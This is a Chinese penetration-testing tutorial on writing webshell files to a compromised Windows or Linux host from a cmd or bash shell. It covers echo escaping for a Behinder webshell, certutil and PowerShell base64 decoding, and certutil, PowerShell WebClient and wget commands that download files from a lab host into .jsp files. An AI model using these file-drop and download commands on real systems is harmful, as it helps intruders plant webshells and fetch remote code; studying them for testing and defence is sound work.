0%

SHELL写文件的几种方式

本文仅作为技术讨论及分享,严禁用于任何非法用途。

前言

本文总结了一些通过cmd或者bashshell写文件的方法,如在某些情况下,拿到了cmd shell或者bash shell,如下图:

但是靶机无法上公网和反连攻击机,然后通过echo等方式写shell的方法。受限于本人有限的知识面以及实用性等考量,这里列出的方法并不全面,仅供参考。

Windows 下写文件

echo写文件

这是最原始的方法,比较折腾人。如果你以为只要echo 1 > 1.txt这样写入,就图样了。Windows下的cmd echo写入需要特殊字符转义,如下:

1
2
3
4
< --- ^<
> --- ^>
/ --- ^/
+ --- ^+

另外,由于web服务器自动转码URL编码,把原本不是URL编码的字符转码了,导致写入的文件错误,所以还需对下面的字符转码:

1
2
% --> %25    # --> %23    @ --> %40
+ --> %2b | --> %7c & --> ^%26

冰蝎马使用这种方法转码的效果如下:

然后通过echo <转码后的payload> > path/xxx.ext写入文件,示例如下:

局限性:

  • Echo 字符数量有限,依赖于具体的浏览器也依赖于 web 服务器,当然还有万恶的 IDS。

  • IE 在地址栏的字符数上限是 2048 个字符

  • Chrome 没有明显的上限, 超过 1M 的内容也可以轻松接受

  • Firefox 没有明显的上限, 超过 5M 的内容也可以轻松接受

  • LinuxWin tomcat jboss 接受的 URL 最大长度是 7800

  • Windows Tomcat URL7825

  • Windows PHP Apache URL 最大长度为 8193
    IIS6 ASP URL 最大长度为 15973

certutil base64解码写入

上面提到echo写入万恶的转义问题,那么,通过base64编码是不是可以解决这烦人的转义问题呢?是的!
比如,我们要把<script>alert(1)</script>(base64编码为:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==)写入文件,可用如下方法:

1
2
echo PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== > 1.txt
certutil.exe -decode 1.txt 2.jsp

这时候2.jsp就是要写入的内容:

1
2
cat 2.jsp
<script>alert(1)</script>

顺带一提,certutil下载文件的方法:

1
2
3
4
5
certutil.exe -urlcache -split -f <url>
示例:
certutil.exe -urlcache -split -f http://192.168.245.130:8080/1.txt
或者:
certutil.exe -urlcache -split -f http://192.168.245.130:8080/1.txt 2.txt

不幸的是,即使下载的不是有毒文件,杀软还是很可能会杀掉:

powershell base64写入

powershell写入的方法就简单得多,如下:

1
2
$data = 'PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($data))

效果如下,在后面加上重定向符即可写入文件:

powershell下载文件

1
2
3
4
5
6
打印远程文件到控制台:  
(New-Object Net.WebClient).DownloadString('http://192.168.245.130:8080/1.txt')
或者:
powershell -c (New-Object Net.WebClient).DownloadString('http://192.168.245.130:8080/1.txt')
直接下载文件:
(New-Object Net.WebClient).DownloadFileAsync('http://192.168.245.130:8080/1.txt', '1.txt')

Linux

因为Linux一般都自带base64命令,这里就不讨论转义的问题了。

bash base64写入

1
echo PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== |base64 -d > 1.txt

wget 下载

1
wget http://192.168.245.130:8080/1.txt -O 1.jsp

参考

CMD SHELL ECHO 写文件
用powershell解码base64